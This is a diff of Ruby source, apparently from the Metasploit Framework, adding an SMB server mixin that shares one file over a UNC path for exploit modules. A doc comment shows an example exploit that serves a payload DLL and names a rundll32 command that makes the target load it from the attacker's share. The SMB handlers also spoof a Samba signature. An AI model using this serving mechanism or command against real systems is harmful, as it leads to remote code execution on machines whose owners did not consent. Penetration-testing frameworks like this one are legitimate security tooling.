pkt['Payload']['SMB'].v['UserID'] = smb[:user_id].to_i
|
||||
pkt['Payload']['SMB'].v['TreeID'] = smb[:tree_id].to_i
|
||||
pkt['Payload']['SMB'].v['MultiplexID'] = smb[:multiplex_id].to_i
|
||||
end
|
||||
|
||||
def smb_error(cmd, c, errorclass, esn = false)
|
||||
# 0xc0000022 = Deny
|
||||
# 0xc000006D = Logon_Failure
|
||||
# 0x00000000 = Ignore
|
||||
pkt = CONST::SMB_BASE_PKT.make_struct
|
||||
smb_set_defaults(c, pkt)
|
||||
pkt['Payload']['SMB'].v['Command'] = cmd
|
||||
pkt['Payload']['SMB'].v['Flags1'] = CONST::FLAGS_REQ_RES | CONST::FLAGS_CASE_SENSITIVE
|
||||
if esn
|
||||
pkt['Payload']['SMB'].v['Flags2'] =
|
||||
CONST::FLAGS2_UNICODE_STRINGS +
|
||||
CONST::FLAGS2_EXTENDED_SECURITY +
|
||||
CONST::FLAGS2_32_BIT_ERROR_CODES +
|
||||
CONST::FLAGS2_LONG_PATH_COMPONENTS
|
||||
else
|
||||
pkt['Payload']['SMB'].v['Flags2'] =
|
||||
CONST::FLAGS2_UNICODE_STRINGS +
|
||||
CONST::FLAGS2_32_BIT_ERROR_CODES +
|
||||
CONST::FLAGS2_LONG_PATH_COMPONENTS
|
||||
end
|
||||
pkt['Payload']['SMB'].v['ErrorClass'] = errorclass
|
||||
c.put(pkt.to_s)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -0,0 +1,297 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'rex/socket'
|
||||
require 'rex/proto/smb'
|
||||
require 'rex/text'
|
||||
require 'rex/logging'
|
||||
require 'rex/struct2'
|
||||
require 'rex/proto/smb/constants'
|
||||
require 'rex/proto/smb/utils'
|
||||
require 'rex/proto/dcerpc'
|
||||
|
||||
module Msf
|
||||
module Exploit::Remote::SMB::Server
|
||||
# This mixin provides a minimal SMB server sharing an UNC resource. At
|
||||
# this moment it is capable to share just one file. And the file should
|
||||
# live in the root folder "\\".
|
||||
#
|
||||
# @example Use it from an Auxiliary module
|
||||
# require 'msf/core'
|
||||
#
|
||||
# class Metasploit3 < Msf::Auxiliary
|
||||
#
|
||||
# include Msf::Exploit::Remote::SMB::Server::Share
|
||||
#
|
||||
# def initialize
|
||||
# super(
|
||||
# 'Name' => 'SMB File Server',
|
||||
# 'Description' => %q{
|
||||
# This module provides a SMB File Server service
|
||||
# },
|
||||
# 'Author' =>
|
||||
# [
|
||||
# 'Matthew Hall',
|
||||
# 'juan vazquez'
|
||||
# ],
|
||||
# 'License' => MSF_LICENSE,
|
||||
# 'Actions' =>
|
||||
# [
|
||||
# ['Service']
|
||||
# ],
|
||||
# 'PassiveActions' =>
|
||||
# [
|
||||
# 'Service'
|
||||
# ],
|
||||
# 'DefaultAction' => 'Service'
|
||||
# )
|
||||
# end
|
||||
#
|
||||
# def run
|
||||
# print_status("Starting SMB Server on #{unc}...")
|
||||
# exploit
|
||||
# end
|
||||
#
|
||||
# def primer
|
||||
# print_status("Primer...")
|
||||
# self.file_contents = 'METASPLOIT'
|
||||
# end
|
||||
# end
|
||||
#
|
||||
# @example Use it from an Exploit module
|
||||
# require 'msf/core'
|
||||
#
|
||||
# class Metasploit3 < Msf::Exploit::Remote
|
||||
# Rank = ExcellentRanking
|
||||
#
|
||||
# include Msf::Exploit::EXE
|
||||
# include Msf::Exploit::Remote::SMB::Server::Share
|
||||
#
|
||||
# def initialize(info={})
|
||||
# super(update_info(info,
|
||||
# 'Name' => "Example Exploit",
|
||||
# 'Description' => %q{
|
||||
# Example exploit, the Server shares a DLL embedding the payload. A session
|
||||
# can be achieved by executing 'rundll32.exe \\srvhost\share\test.dll,0' from
|
||||
# from the target.
|
||||
# },
|
||||
# 'License' => MSF_LICENSE,
|
||||
# 'Author' =>
|
||||
# [
|
||||
# 'Matthew Hall',
|
||||
# 'juan vazquez'
|
||||
# ],
|
||||
# 'References' =>
|
||||
# [
|
||||
# ['URL', 'https://github.com/rapid7/metasploit-framework/pull/3074']
|
||||
# ],
|
||||
# 'Payload' =>
|
||||
# {
|
||||
# 'Space' => 2048,
|
||||
# 'DisableNops' => true
|
||||
# },
|
||||
# 'Platform' => 'win',
|
||||
# 'Targets' =>
|
||||
# [
|
||||
# ['Windows XP SP3 / Windows 2003 SP2', {}],
|
||||
# ],
|
||||
# 'Privileged' => false,
|
||||
# 'DisclosureDate' => "Mar 02 2015",
|
||||
# 'DefaultTarget' => 0))
|
||||
#
|
||||
# register_options(
|
||||
# [
|
||||
# OptString.new('FILE_NAME', [ false, 'DLL File name to share', 'test.dll'])
|
||||
# ], self.class)
|
||||
#
|
||||
# deregister_options('FILE_CONTENTS')
|
||||
# end
|
||||
#
|
||||
# def primer
|
||||
# self.file_contents = generate_payload_dll
|
||||
# print_status("File available on #{unc}...")
|
||||
# end
|
||||
# end
|
||||
module Share
|
||||
require 'msf/core/exploit/smb/server/share/command'
|
||||
require 'msf/core/exploit/smb/server/share/information_level'
|
||||
|
||||
include Msf::Exploit::Remote::SMB::Server::Share::Command::Close
|
||||
include Msf::Exploit::Remote::SMB::Server::Share::Command::Negotiate
|
||||
include Msf::Exploit::Remote::SMB::Server::Share::Command::NtCreateAndx
|
||||
include Msf::Exploit::Remote::SMB::Server::Share::Command::ReadAndx
|
||||
include Msf::Exploit::Remote::SMB::Server::Share::Command::SessionSetupAndx
|
||||
include Msf::Exploit::Remote::SMB::Server::Share::Command::Trans2
|
||||
include Msf::Exploit::Remote::SMB::Server::Share::Command::Trans2::FindFirst2
|
||||
include Msf::Exploit::Remote::SMB::Server::Share::Command::Trans2::QueryFileInformation
|
||||
include Msf::Exploit::Remote::SMB::Server::Share::Command::Trans2::QueryPathInformation
|
||||
include Msf::Exploit::Remote::SMB::Server::Share::InformationLevel::Find
|
||||
include Msf::Exploit::Remote::SMB::Server::Share::InformationLevel::Query
|
||||
|
||||
include Msf::Exploit::Remote::SMB::Server
|
||||
|
||||
FLAGS = CONST::FLAGS_REQ_RES | CONST::FLAGS_CASE_SENSITIVE
|
||||
|
||||
FLAGS2 = CONST::FLAGS2_UNICODE_STRINGS |
|
||||
CONST::FLAGS2_EXTENDED_SECURITY |
|
||||
CONST::FLAGS2_32_BIT_ERROR_CODES |
|
||||
CONST::FLAGS2_LONG_PATH_COMPONENTS
|
||||
|
||||
CAPABILITIES = CONST::CAP_UNIX_EXTENSIONS |
|
||||
CONST::CAP_LARGE_WRITEX |
|
||||
CONST::CAP_LARGE_READX |
|
||||
CONST::CAP_PASSTHRU |
|
||||
CONST::CAP_DFS |
|
||||
CONST::CAP_NT_FIND |
|
||||
CONST::CAP_LOCK_AND_READ |
|
||||
CONST::CAP_LEVEL_II_OPLOCKS |
|
||||
CONST::CAP_STATUS32 |
|
||||
CONST::CAP_RPC_REMOTE_APIS |
|
||||
CONST::CAP_NT_SMBS |
|
||||
CONST::CAP_LARGE_FILES |
|
||||
CONST::CAP_UNICODE |
|
||||
CONST::CAP_RAW_MODE
|
||||
|
||||
CREATE_MAX_ACCESS = CONST::SMB_READ_ACCESS |
|
||||
CONST::SMB_WRITE_ACCESS |
|
||||
CONST::SMB_APPEND_ACCESS |
|
||||
CONST::SMB_READ_EA_ACCESS |
|
||||
CONST::SMB_WRITE_EA_ACCESS |
|
||||
CONST::SMB_EXECUTE_ACCESS |
|
||||
CONST::SMB_DELETE_CHILD_ACCESS |
|
||||
CONST::SMB_READ_ATTRIBUTES_ACCESS |
|
||||
CONST::SMB_WRITE_ATTRIBUTES_ACCESS |
|
||||
CONST::SMB_DELETE_ACCESS |
|
||||
CONST::SMB_READ_CONTROL_ACCESS |
|
||||
CONST::SMB_WRITE_DAC_ACCESS |
|
||||
CONST::SMB_WRITE_OWNER_ACCESS |
|
||||
CONST::SMB_SYNC_ACCESS
|
||||
|
||||
TREE_CONNECT_MAX_ACCESS = CONST::SMB_READ_ACCESS |
|
||||
CONST::SMB_READ_EA_ACCESS |
|
||||
CONST::SMB_EXECUTE_ACCESS |
|
||||
CONST::SMB_READ_ATTRIBUTES_ACCESS |
|
||||
CONST::SMB_READ_CONTROL_ACCESS |
|
||||
CONST::SMB_SYNC_ACCESS
|
||||
|
||||
# @!attribute share
|
||||
# @return [String] The share portion of the provided UNC.
|
||||
attr_accessor :share
|
||||
# @!attribute path_name
|
||||
# @return [String] The folder where the provided file lives.
|
||||
# @note UNSUPPORTED
|
||||
attr_accessor :path_name
|
||||
# @!attribute file_name
|
||||
# @return [String] The file name of the provided UNC.
|
||||
attr_accessor :file_name
|
||||
# @!attribute hi
|
||||
# @return [Fixnum] The high 4 bytes for the file 'created time'.
|
||||
attr_accessor :hi
|
||||
# @!attribute lo
|
||||
# @return [Fixnum] The low 4 bytes for the file 'created time'.
|
||||
attr_accessor :lo
|
||||
# @!attribute file_contents
|
||||
# @return [String] The contents of the provided file
|
||||
attr_accessor :file_contents
|
||||
|
||||
def initialize(info = {})
|
||||
super
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('SHARE', [ false, 'Share (Default Random)']),
|
||||
OptString.new('FILE_NAME', [ false, 'File name to share (Default Random)']),
|
||||
OptPath.new('FILE_CONTENTS', [ false, 'File contents (Default Random)'])
|
||||
], Msf::Exploit::Remote::SMB::Server::Share)
|
||||
end
|
||||
|
||||
# Setups the server configuration.
|
||||
def setup
|
||||
super
|
||||
|
||||
self.path_name = '\\' # TODO: Add subdirectories support
|
||||
self.share = datastore['SHARE'] || Rex::Text.rand_text_alpha(4 + rand(3))
|
||||
self.file_name = datastore['FILE_NAME'] || Rex::Text.rand_text_alpha(4 + rand(3))
|
||||
|
||||
t = Time.now.to_i
|
||||
self.hi, self.lo = ::Rex::Proto::SMB::Utils.time_unix_to_smb(t)
|
||||
|
||||
# The module has an opportunity to set up the file contents in the "primer callback"
|
||||
if datastore['FILE_CONTENTS']
|
||||
File.open(datastore['FILE_CONTENTS'], 'rb') { |f| self.file_contents = f.read }
|
||||
else
|
||||
self.file_contents = Rex::Text.rand_text_alpha(50 + rand(150))
|
||||
end
|
||||
end
|
||||
|
||||
# Builds the UNC Name for the shared file
|
||||
def unc
|
||||
"\\\\#{srvhost}\\#{share}\\#{file_name}"
|
||||
end
|
||||
|
||||
# Builds the server address.
|
||||
#
|
||||
# @return [String] The server address.
|
||||
def srvhost
|
||||
datastore['SRVHOST'] == '0.0.0.0' ? Rex::Socket.source_address : datastore['SRVHOST']
|
||||
end
|
||||
|
||||
# New connection handler, executed when there is a new conneciton.
|
||||
#
|
||||
# @param c [Socket] The client establishing the connection.
|
||||
# @return [Hash] The hash with the client data initialized.
|
||||
def smb_conn(c)
|
||||
@state[c] = {
|
||||
:name => "#{c.peerhost}:#{c.peerport}",
|
||||
:ip => c.peerhost,
|
||||
:port => c.peerport,
|
||||
:multiplex_id => rand(0xffff),
|
||||
:process_id => rand(0xffff),
|
||||
:file_id => 0xdead,
|
||||
:dir_id => 0xbeef
|
||||
}
|
||||
end
|
||||
|
||||
# Main dispatcher function. Takes the client data and performs a case switch
|
||||
# on the command (e.g. Negotiate, Session Setup, Read file, etc.)
|
||||
#
|
||||
# @param cmd [Fixnum] The SMB Command requested.
|
||||
# @param c [Socket] The client to answer.
|
||||
# @param buff [String] The data including the client request.
|
||||
# @return [Fixnum] The number of bytes returned to the client as response.
|
||||
def smb_cmd_dispatch(cmd, c, buff)
|
||||
smb = @state[c]
|
||||
|
||||
pkt = CONST::SMB_BASE_PKT.make_struct
|
||||
pkt.from_s(buff)
|
||||
#Record the IDs
|
||||
smb[:process_id] = pkt['Payload']['SMB'].v['ProcessID']
|
||||
smb[:user_id] = pkt['Payload']['SMB'].v['UserID']
|
||||
smb[:tree_id] = pkt['Payload']['SMB'].v['TreeID']
|
||||
smb[:multiplex_id] = pkt['Payload']['SMB'].v['MultiplexID']
|
||||
|
||||
case cmd
|
||||
when CONST::SMB_COM_NEGOTIATE
|
||||
return smb_cmd_negotiate(c, buff)
|
||||
when CONST::SMB_COM_SESSION_SETUP_ANDX
|
||||
word_count = pkt['Payload']['SMB'].v['WordCount']
|
||||
if word_count == 0x0d # Share Security Mode sessions
|
||||
return smb_cmd_session_setup_andx(c, buff)
|
||||
else
|
||||
print_status("SMB Share - #{smb[:ip]} Unknown SMB_COM_SESSION_SETUP_ANDX request type, ignoring... ")
|
||||
return smb_error(cmd, c, CONST::SMB_STATUS_SUCCESS)
|
||||
end
|
||||
when CONST::SMB_COM_TRANSACTION2
|
||||
return smb_cmd_trans2(c, buff)
|
||||
when CONST::SMB_COM_NT_CREATE_ANDX
|
||||
return smb_cmd_nt_create_andx(c, buff)
|
||||
when CONST::SMB_COM_READ_ANDX
|
||||
return smb_cmd_read_andx(c, buff)
|
||||
when CONST::SMB_COM_CLOSE
|
||||
return smb_cmd_close(c, buff)
|
||||
else
|
||||
vprint_status("SMB Share - #{smb[:ip]} Unknown SMB command #{cmd.to_s(16)}, ignoring... ")
|
||||
return smb_error(cmd, c, CONST::SMB_STATUS_SUCCESS)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,16 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Exploit::Remote::SMB::Server
|
||||
module Share
|
||||
module Command
|
||||
require 'msf/core/exploit/smb/server/share/command/close'
|
||||
require 'msf/core/exploit/smb/server/share/command/negotiate'
|
||||
require 'msf/core/exploit/smb/server/share/command/nt_create_andx'
|
||||
require 'msf/core/exploit/smb/server/share/command/read_andx'
|
||||
require 'msf/core/exploit/smb/server/share/command/session_setup_andx'
|
||||
require 'msf/core/exploit/smb/server/share/command/trans2'
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,38 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Exploit::Remote::SMB::Server
|
||||
module Share
|
||||
module Command
|
||||
module Close
|
||||
|
||||
# Handles an SMB_COM_CLOSE command, used by the client to close an instance
|
||||
# of an object associated with a valid FID.
|
||||
#
|
||||
# @param c [Socket] The client sending the request.
|
||||
# @param buff [String] The data including the client request.
|
||||
# @return [Fixnum] The number of bytes returned to the client as response.
|
||||
def smb_cmd_close(c, buff)
|
||||
send_close_res(c)
|
||||
end
|
||||
|
||||
# Builds and sends an SMB_COM_CLOSE response.
|
||||
#
|
||||
# @param c [Socket] The client to answer.
|
||||
# @return [Fixnum] The number of bytes returned to the client as response.
|
||||
def send_close_res(c)
|
||||
pkt = CONST::SMB_CLOSE_RES_PKT.make_struct
|
||||
smb_set_defaults(c, pkt)
|
||||
|
||||
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_CLOSE
|
||||
pkt['Payload']['SMB'].v['Flags1'] = FLAGS
|
||||
pkt['Payload']['SMB'].v['Flags2'] = FLAGS2
|
||||
pkt['Payload']['SMB'].v['WordCount'] = CONST::SMB_CLOSE_RES_WORD_COUNT
|
||||
|
||||
c.put(pkt.to_s)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,90 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Exploit::Remote::SMB::Server
|
||||
module Share
|
||||
module Command
|
||||
module Negotiate
|
||||
|
||||
# Handles an SMB_COM_NEGOTIATE command, used by the client to initiate an
|
||||
# SMB connection between the client and the server.
|
||||
#
|
||||
# @param c [Socket] The client sending the request.
|
||||
# @param buff [String] The data including the client request.
|
||||
# @return [Fixnum] The number of bytes returned to the client as response.
|
||||
def smb_cmd_negotiate(c, buff)
|
||||
pkt = CONST::SMB_NEG_PKT.make_struct
|
||||
pkt.from_s(buff)
|
||||
|
||||
dialects = pkt['Payload'].v['Payload'].gsub(/\x00/, '').split(/\x02/).grep(/^\w+/)
|
||||
dialect = dialects.index("NT LM 0.12") || dialects.length-1
|
||||
|
||||
send_negotitate_res(c, {
|
||||
dialect: dialect,
|
||||
security_mode: CONST::NEG_SECURITY_PASSWORD,
|
||||
max_mpx: 50,
|
||||
max_vcs: 1,
|
||||
max_buff: 4356,
|
||||
max_raw: 65536,
|
||||
server_time_zone: 0,
|
||||
capabilities: CAPABILITIES,
|
||||
key_length: 8,
|
||||
key: Rex::Text.rand_text_hex(8)
|
||||
})
|
||||
end
|
||||
|
||||
# Builds and sends an SMB_COM_CLOSE response.
|
||||
#
|
||||
# @param c [Socket] The client to answer.
|
||||
# @param opts [Hash{Symbol => <String, Fixnum>}] Response custom values.
|
||||
# @option opts [Fixnum] :dialect The index of the dialect selected by the server from the request.
|
||||
# @option opts [Fixnum] :security_mode Security modes supported or required by the server.
|
||||
# @option opts [Fixnum] :max_mpx The maximum number of outstanding SMB operations that the server supports.
|
||||
# @option opts [Fixnum] :max_vcs The maximum number of virtual circuits between the client and the server.
|
||||
# @option opts [Fixnum] :max_buff Largest SMB message that the server can handle.
|
||||
# @option opts [Fixnum] :max_raw Max size for SMB_COM_WRITE_RAW requests and SMB_COM_READ_RAW responses.
|
||||
# @option opts [Fixnum] :server_time_zone The server's time zone.
|
||||
# @option opts [Fixnum] :capabilities The server capability indicators.
|
||||
# @option opts [Fixnum] :key_length The challenge length.
|
||||
# @option opts [String] :key The challenge.
|
||||
# @return [Fixnum] The number of bytes returned to the client as response.
|
||||
def send_negotitate_res(c, opts = {})
|
||||
dialect = opts[:dialect] || 0
|
||||
security_mode = opts[:security_mode] || 0
|
||||
max_mpx = opts[:max_mpx] || 0
|
||||
max_vcs = opts[:max_vcs] || 0
|
||||
max_buff = opts[:max_buff] || 0
|
||||
max_raw = opts[:max_raw] || 0
|
||||
server_time_zone = opts[:server_time_zone] || 0
|
||||
capabilities = opts[:capabilities] || 0
|
||||
key_length = opts[:key_length] || 0
|
||||
key = opts[:key] || ''
|
||||
|
||||
pkt = CONST::SMB_NEG_RES_NT_PKT.make_struct
|
||||
smb_set_defaults(c, pkt)
|
||||
|
||||
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NEGOTIATE
|
||||
pkt['Payload']['SMB'].v['Flags1'] = FLAGS
|
||||
pkt['Payload']['SMB'].v['Flags2'] = FLAGS2
|
||||
pkt['Payload']['SMB'].v['WordCount'] = CONST::SMB_NEGOTIATE_RES_WORD_COUNT
|
||||
pkt['Payload'].v['Dialect'] = dialect
|
||||
pkt['Payload'].v['SecurityMode'] = security_mode
|
||||
pkt['Payload'].v['MaxMPX'] = max_mpx
|
||||
pkt['Payload'].v['MaxVCS'] = max_vcs
|
||||
pkt['Payload'].v['MaxBuff'] = max_buff
|
||||
pkt['Payload'].v['MaxRaw'] = max_raw
|
||||
pkt['Payload'].v['SystemTimeLow'] = lo
|
||||
pkt['Payload'].v['SystemTimeHigh'] = hi
|
||||
pkt['Payload'].v['ServerTimeZone'] = server_time_zone
|
||||
pkt['Payload'].v['SessionKey'] = 0
|
||||
pkt['Payload'].v['Capabilities'] = capabilities
|
||||
pkt['Payload'].v['KeyLength'] = key_length
|
||||
pkt['Payload'].v['Payload'] = key
|
||||
|
||||
c.put(pkt.to_s)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,105 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Exploit::Remote::SMB::Server
|
||||
module Share
|
||||
module Command
|
||||
module NtCreateAndx
|
||||
|
||||
# Handles an SMB_COM_NT_CREATE_ANDX command, used by the client to create and
|
||||
# open a new file.
|
||||
#
|
||||
# @param c [Socket] The client sending the request.
|
||||
# @param buff [String] The data including the client request.
|
||||
# @return [Fixnum] The number of bytes returned to the client as response.
|
||||
def smb_cmd_nt_create_andx(c, buff)
|
||||
smb = @state[c]
|
||||
pkt = CONST::SMB_CREATE_PKT.make_struct
|
||||
pkt.from_s(buff)
|
||||
|
||||
payload = (pkt['Payload'].v['Payload']).downcase
|
||||
payload.gsub!(/^[\x00]*/, '') # delete padding
|
||||
payload = Rex::Text.ascii_safe_hex(payload)
|
||||
payload.gsub!(/\\x([0-9a-f]{2})/i, '') # delete hex chars
|
||||
|
||||
if payload.nil? || payload.empty?
|
||||
payload = file_name
|
||||
end
|
||||
|
||||
if payload.ends_with?(file_name.downcase)
|
||||
vprint_status("SMB Share - #{smb[:ip]} SMB_COM_NT_CREATE_ANDX request for #{unc}... ")
|
||||
fid = smb[:file_id].to_i
|
||||
attribs = CONST::SMB_EXT_FILE_ATTR_NORMAL
|
||||
eof = file_contents.length
|
||||
is_dir = 0
|
||||
elsif payload.eql?(path_name.downcase)
|
||||
fid = smb[:dir_id].to_i
|
||||
attribs = CONST::SMB_EXT_FILE_ATTR_DIRECTORY
|
||||
eof = 0
|
||||
is_dir = 1
|
||||
else
|
||||
# Otherwise send not found
|
||||
vprint_status("SMB Share - #{smb[:ip]} SMB_COM_NT_CREATE_ANDX for #{payload}, not found")
|
||||
return smb_error(CONST::SMB_COM_NT_CREATE_ANDX, c, CONST::SMB_STATUS_OBJECT_NAME_NOT_FOUND, true)
|
||||
end
|
||||
|
||||
send_nt_create_andx_res(c, {
|
||||
file_id: fid,
|
||||
attributes: attribs,
|
||||
end_of_file_low: eof,
|
||||
is_directory: is_dir,
|
||||
alloc_low: 0x100000
|
||||
})
|
||||
end
|
||||
|
||||
# Builds and sends an SMB_COM_NT_CREATE_ANDX response.
|
||||
#
|
||||
# @param c [Socket] The client to answer.
|
||||
# @param opts [Hash{Symbol => <Fixnum>}] Response custom values.
|
||||
# @option opts [Fixnum] :file_id A FID representing the file or directory created or opened.
|
||||
# @option opts [Fixnum] :attributes The attributes that the server assigned to the file or directory.
|
||||
# @option opts [Fixnum] :end_of_file_low The end of file offset value (4 bytes)
|
||||
# @option opts [Fixnum] :is_directory Indicates if the FID represents a directory.
|
||||
# @option opts [Fixnum] :alloc_low The number of bytes allocated to the file by the server.
|
||||
# @return [Fixnum] The number of bytes returned to the client as response.
|
||||
def send_nt_create_andx_res(c, opts = {})
|
||||
file_id = opts[:file_id] || 0
|
||||
attributes = opts[:attributes] || 0
|
||||
end_of_file_low = opts[:end_of_file_low] || 0
|
||||
is_directory = opts[:is_directory] || 0
|
||||
alloc_low = opts[:alloc_low] || 0
|
||||
|
||||
pkt = CONST::SMB_CREATE_ANDX_RES_PKT.make_struct
|
||||
smb_set_defaults(c, pkt)
|
||||
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NT_CREATE_ANDX
|
||||
pkt['Payload']['SMB'].v['Flags1'] = FLAGS
|
||||
pkt['Payload']['SMB'].v['Flags2'] = FLAGS2
|
||||
pkt['Payload']['SMB'].v['WordCount'] = CONST::SMB_NT_CREATE_ANDX_RES_WORD_COUNT
|
||||
pkt['Payload'].v['AndX'] = CONST::SMB_COM_NO_ANDX_COMMAND
|
||||
pkt['Payload'].v['OpLock'] = CONST::LEVEL_II_OPLOCK # Grant Oplock on File
|
||||
pkt['Payload'].v['FileID'] = file_id
|
||||
pkt['Payload'].v['Action'] = CONST::FILE_OPEN # The file existed and was opened
|
||||
pkt['Payload'].v['CreateTimeLow'] = lo
|
||||
pkt['Payload'].v['CreateTimeHigh'] = hi
|
||||
pkt['Payload'].v['AccessTimeLow'] = lo
|
||||
pkt['Payload'].v['AccessTimeHigh'] = hi
|
||||
pkt['Payload'].v['WriteTimeLow'] = lo
|
||||
pkt['Payload'].v['WriteTimeHigh'] = hi
|
||||
pkt['Payload'].v['ChangeTimeLow'] = lo
|
||||
pkt['Payload'].v['ChangeTimeHigh'] = hi
|
||||
pkt['Payload'].v['Attributes'] = attributes
|
||||
pkt['Payload'].v['AllocLow'] = alloc_low
|
||||
pkt['Payload'].v['AllocHigh'] = 0
|
||||
pkt['Payload'].v['EOFLow'] = end_of_file_low
|
||||
pkt['Payload'].v['EOFHigh'] = 0
|
||||
pkt['Payload'].v['FileType'] = CONST::SMB_RESOURCE_FILE_TYPE_DISK
|
||||
pkt['Payload'].v['IPCState'] = 0x7 # Number maxim of instance a named pipe can have
|
||||
pkt['Payload'].v['IsDirectory'] = is_directory
|
||||
pkt['Payload'].v['MaxAccess'] = CREATE_MAX_ACCESS
|
||||
c.put(pkt.to_s)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,64 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Exploit::Remote::SMB::Server
|
||||
module Share
|
||||
module Command
|
||||
module ReadAndx
|
||||
|
||||
# Handles an SMB_COM_READ_ANDX command, used by the client to read data from a
|
||||
# file.
|
||||
#
|
||||
# @param c [Socket] The client sending the request.
|
||||
# @param buff [String] The data including the client request.
|
||||
# @return [Fixnum] The number of bytes returned to the client as response.
|
||||
def smb_cmd_read_andx(c, buff)
|
||||
pkt = CONST::SMB_READ_PKT.make_struct
|
||||
pkt.from_s(buff)
|
||||
|
||||
offset = pkt['Payload'].v['Offset']
|
||||
length = pkt['Payload'].v['MaxCountLow']
|
||||
|
||||
send_read_andx_res(c, {
|
||||
data_len_low: length,
|
||||
byte_count: length,
|
||||
data: file_contents[offset, length]
|
||||
})
|
||||
end
|
||||
|
||||
# Builds and sends an SMB_COM_NT_CREATE_ANDX response.
|
||||
#
|
||||
# @param c [Socket] The client to answer.
|
||||
# @param opts [Hash{Symbol => <Fixnum, String>}] Response custom values.
|
||||
# @option opts [Fixnum] :data_len_low The length of the file data sent back.
|
||||
# @option opts [Fixnum] :byte_count The length of the file data sent back.
|
||||
# @option opts [String] :data The bytes read from the file.
|
||||
# @return [Fixnum] The number of bytes returned to the client as response.
|
||||
def send_read_andx_res(c, opts = {})
|
||||
data_len_low = opts[:data_len_low] || 0
|
||||
byte_count = opts[:byte_count] || 0
|
||||
data = opts[:data] || ''
|
||||
|
||||
pkt = CONST::SMB_READ_RES_PKT.make_struct
|
||||
smb_set_defaults(c, pkt)
|
||||
|
||||
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_READ_ANDX
|
||||
pkt['Payload']['SMB'].v['Flags1'] = FLAGS
|
||||
pkt['Payload']['SMB'].v['Flags2'] = FLAGS2
|
||||
pkt['Payload']['SMB'].v['WordCount'] = CONST::SMB_READ_ANDX_RES_WORD_COUNT
|
||||
pkt['Payload'].v['AndX'] = CONST::SMB_COM_NO_ANDX_COMMAND
|
||||
pkt['Payload'].v['Remaining'] = 0xffff
|
||||
pkt['Payload'].v['DataLenLow'] = data_len_low
|
||||
pkt['Payload'].v['DataOffset'] = CONST::SMB_READ_RES_HDR_PKT_LENGTH
|
||||
pkt['Payload'].v['DataLenHigh'] = 0
|
||||
pkt['Payload'].v['Reserved3'] = 0
|
||||
pkt['Payload'].v['Reserved4'] = 0x0a
|
||||
pkt['Payload'].v['ByteCount'] = byte_count
|
||||
pkt['Payload'].v['Payload'] = data
|
||||
c.put(pkt.to_s)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,87 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Exploit::Remote::SMB::Server
|
||||
module Share
|
||||
module Command
|
||||
# @todo Add support to only allow session setup against the configured shared resource
|
||||
module SessionSetupAndx
|
||||
|
||||
# Handles an SMB_COM_SESSION_SETUP_ANDX command, used by the client to configure an SMB Session.
|
||||
#
|
||||
# @param c [Socket] The client sending the request.
|
||||
# @param buff [String] The data including the client request.
|
||||
# @return [Fixnum] The number of bytes returned to the client as response.
|
||||
def smb_cmd_session_setup_andx(c, buff)
|
||||
tree_connect_response = CONST::SMB_TREE_CONN_ANDX_RES_PKT.make_struct
|
||||
tree_connect_response.v['WordCount'] = CONST::SMB_TREE_CONN_ANDX_WORD_COUNT
|
||||
tree_connect_response.v['AndXCommand'] = CONST::SMB_COM_NO_ANDX_COMMAND
|
||||
tree_connect_response.v['AndXReserved'] = 0
|
||||
tree_connect_response.v['AndXOffset'] = 0
|
||||
tree_connect_response.v['OptionalSupport'] = 1
|
||||
tree_connect_response.v['AccessRights'] = TREE_CONNECT_MAX_ACCESS
|
||||
tree_connect_response.v['GuestAccessRights'] = 0
|
||||
tree_connect_response.v['Payload'] = "A:\x00#{Rex::Text.to_unicode('NTFS')}\x00\x00"
|
||||
|
||||
data = Rex::Text.to_unicode('Unix', 'utf-16be') + "\x00\x00" + # Native OS # Samba signature
|
||||
Rex::Text.to_unicode('Samba 3.4.7', 'utf-16be') + "\x00\x00" + # Native LAN Manager # Samba signature
|
||||
Rex::Text.to_unicode('WORKGROUP', 'utf-16be') + "\x00\x00\x00" # Primary DOMAIN # Samba signature
|
||||
|
||||
send_session_setup_andx_res(c, {
|
||||
action: CONST::SMB_SETUP_GUEST,
|
||||
data: data,
|
||||
andx: CONST::SMB_COM_TREE_CONNECT_ANDX,
|
||||
andx_offset: 96,
|
||||
andx_command: tree_connect_response
|
||||
})
|
||||
end
|
||||
|
||||
# Builds and sends an SMB_COM_NT_CREATE_ANDX response.
|
||||
#
|
||||
# @param c [Socket] The client to answer.
|
||||
# @param opts [Hash{Symbol => <Fixnum, String, Rex::Struct2::CStruct>}] Response custom values.
|
||||
# @option opts [Fixnum] :action SMB Configuration result.
|
||||
# @option opts [Fixnum] :andx_offset The offset in bytes from the start of the SMB Header to the start
|
||||
# of the WordCount field in the next SMBCommand.
|
||||
# @option opts [Fixnum] :reserved Reserved field.
|
||||
# @option opts [Fixnum] :andx The command code for the next SMB Command in the packet.
|
||||
# @option opts [String] :data The SMB_Data for the SMB_COM_SESSION_SETUP_ANDX response.
|
||||
# @option opts [Rex::Struct2::CStruct] :andx_command The next SMB Command in the packet.
|
||||
# @return [Fixnum] The number of bytes returned to the client as response.
|
||||
